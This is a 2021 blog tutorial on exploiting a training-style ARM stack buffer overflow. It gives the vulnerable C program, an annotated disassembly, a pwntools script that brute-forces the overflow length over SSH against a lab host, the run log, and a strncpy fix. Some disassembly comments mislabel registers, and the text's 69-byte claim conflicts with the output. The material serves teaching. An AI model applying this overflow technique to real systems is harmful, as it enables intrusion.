ARM BoF exploit via pwntools
Tags: security, python, beginners, challenge
Published: 2021-01-29 19:26:35

---
series: ProtoARM
---

This is our source code for the third exploit of this series on ARM hacking:

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

int main()
{
	int vulnerable = 42;
	char buffer[64] = { 0 };
	char *var = getenv("POC");

	if (var == NULL)
		errx(1, "set POC!\n");

	vulnerable = 42;
	strcpy(buffer, var);
	if (vulnerable != 0xdeadbeef)
		errx(1, "nope\n");

	printf("congrats!\n");
}
```

Our goal will be to understand ARM implementation of this, to identify the vulnerability and to exploit it!

The program disassembly:

```asm
000005bc <main>:
prolog:
 5bc:   b580            push    {r7, lr}
 5be:   b092            sub     sp, #72                 ; 0x48 bytes stackframe
 5c0:   af00            add     r7, sp, #0
 5c2:   232a            movs    r3, #42 ; 0x2a          ; r3 = 42
 5c4:   647b            str     r3, [r7, #68]           ; store 42 at first int in stack
 5c6:   463b            mov     r3, r7			; buffer is at the other end of the stackframe
 5c8:   2240            movs    r2, #64                 ; r2 = 64
 5ca:   2100            movs    r1, #0                  ; r1 = '\0'
 5cc:   4618            mov     r0, r3			; r0 = buffer
 5ce:   f7ff ef5c       blx     488 <memset@plt>        ; memset(buffer, '\0', 64); // bzero buffer
 5d2:   4b16            ldr     r3, [pc, #88]           ; (62c <main+0x70>)
 5d4:   447b            add     r3, pc
 5d6:   4618            mov     r0, r3
 5d8:   f7ff ef3e       blx     458 <getenv@plt>        ; getenv("POC");
 5dc:   6438            str     r0, [r7, #64]           ; r7 = var
 5de:   6c3b            ldr     r3, [r7, #64]           ; r3 = *var
 5e0:   2b00            cmp     r3, #0                  ; var == NULL?
 5e2:   d105            bne.n   5f0 <main+0x34>

poc_not_set:
 5e4:   4b12            ldr     r3, [pc, #72]           ; (630 <main+0x74>)
 5e6:   447b            add     r3, pc
 5e8:   4619            mov     r1, r3                  ; r3 = "set POC!\n"
 5ea:   2001            movs    r0, #1                  ; r0 = 1
 5ec:   f7ff ef52       blx     494 <errx@plt>          ; errx(1, "set POC\n");

copy_in_buffer:
 5f0:   232a            movs    r3, #42                 ; r3 = 42
 5f2:   647b            str     r3, [r7, #68]           ; vulnerable = 42 (oops, I initialized twice, see 0x5c4!)
 5f4:   463b            mov     r3, r7                  ; r3 = 42
 5f6:   6c39            ldr     r1, [r7, #64]           ; r1 = buffer
 5f8:   4618            mov     r0, r3                  ; r0 = var
 5fa:   f7ff ef28       blx     44c <strcpy@plt>        ; strcpy(buffer, var);
 5fe:   6c7a            ldr     r2, [r7, #68]           ; r2 = vulnerable
 600:   f64b 63ef       movw    r3, #48879              ; 0xbeef
 604:   f6cd 63ad       movt    r3, #57005              ; 0xdead
 608:   429a            cmp     r2, r3                  ; vulnerable == 0xdeadbeef?
 60a:   d005            beq.n   618 <main+0x5c>

bad_boy:
 60c:   4b09            ldr     r3, [pc, #36]           ; (634 <main+0x78>)
 60e:   447b            add     r3, pc
 610:   4619            mov     r1, r3                  ; r1 = "nope\n"
 612:   2001            movs    r0, #1                  ; r0 = 1
 614:   f7ff ef3e       blx     494 <errx@plt>          ; errx(1, "nope\n");

good_boy:
 618:   4b07            ldr     r3, [pc, #28]           ; (638 <main+0x7c>)
 61a:   447b            add     r3, pc
 61c:   4618            mov     r0, r3                  ; r0 = "congrats!\n");
 61e:   f7ff ef22       blx     464 <puts@plt>          ; puts("congrats\n");
 622:   2300            movs    r3, #0
 624:   4618            mov     r0, r3                  ; return EXIT_SUCCESS;

epilog:
 626:   3748            adds    r7, #72 ; 0x48
 628:   46bd            mov     sp, r7
 62a:   bd80            pop     {r7, pc}

string_pool:
 62c:   000000b4
 630:   000000a6
 634:   0000008a
 638:   00000086
```

Here is an exploit using `pwntools`:

```python
#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 64
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0xdeadbeef)
    process = socket.process(
        executable='/root/protostarm/stack2/stack2',
        env={"POC": payload}
    )
    res = process.recv().decode()
    print('res =', res)
    process.close()
    if 'congrats' in res:
        break

socket.close()
```

Our vulnerable variable is stored at sp+68. `strcpy` will copy our `var` including the terninating null byte ('\0'). We such need to fill the stack with 69 bytes before overwriting the vulnerable variable:

```shell
user@Azeria-Lab-VM:~/protoarm/stack2$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 65
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 740
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 740)
test 66
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 744
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 744)
test 67
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 748
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 748)
test 68
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 752
res = congrats!

[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 752)
[*] Closed connection to '192.168.0.1'
```

A more secure version of this program could use `strncpy` in place of `strcpy`. Here is a pseudo implem of it:

```
char *strncpy(char *dest, const char *src, size_t n)
{
    size_t i = 0;

    // fill dest buffe with at most n bytes preventing bof if n is well chosen
    for (i = 0; i < n && src[i] != '\0'; i++)
        dest[i] = src[i];

    // fill the rest of the buffer with null bytes
    for ( ; i < n; i++)
        dest[i] = '\0';

    return dest;
}
```

There are other alternatives such as `strlcpy`, `strcpy_s`, and many more.

I hope you enjoyed it!